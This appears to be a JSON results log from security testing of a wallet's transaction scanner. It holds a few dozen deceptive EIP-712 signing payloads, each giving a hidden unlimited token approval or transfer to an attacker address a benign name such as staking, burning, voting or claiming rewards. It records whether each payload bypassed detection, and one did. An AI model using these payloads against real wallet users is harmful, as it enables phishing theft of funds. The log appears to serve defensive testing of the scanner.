"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T17:26:35.107Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:26:44.315Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:26:53.513Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:27:02.722Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:27:12.103Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:27:21.270Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:27:30.478Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:27:39.693Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:27:48.860Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:27:58.082Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:28:07.469Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:28:16.651Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:28:25.860Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:28:35.035Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:28:44.260Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T17:28:53.445Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN29-EIP3009-022", "timestamp": "2026-01-31T17:29:02.625Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x2c271857dcdc6d0eab2ba6a22ee3ba7e992bee2797d20a5f2e3c2f5d4c7b8d95\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN29-EIP3009-054", "timestamp": "2026-01-31T17:29:09.174Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x428b7d5b28283a72063e41f12d0e834b35062530d7a82a6a2ccf269f233ac4b5\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T17:29:18.562Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ 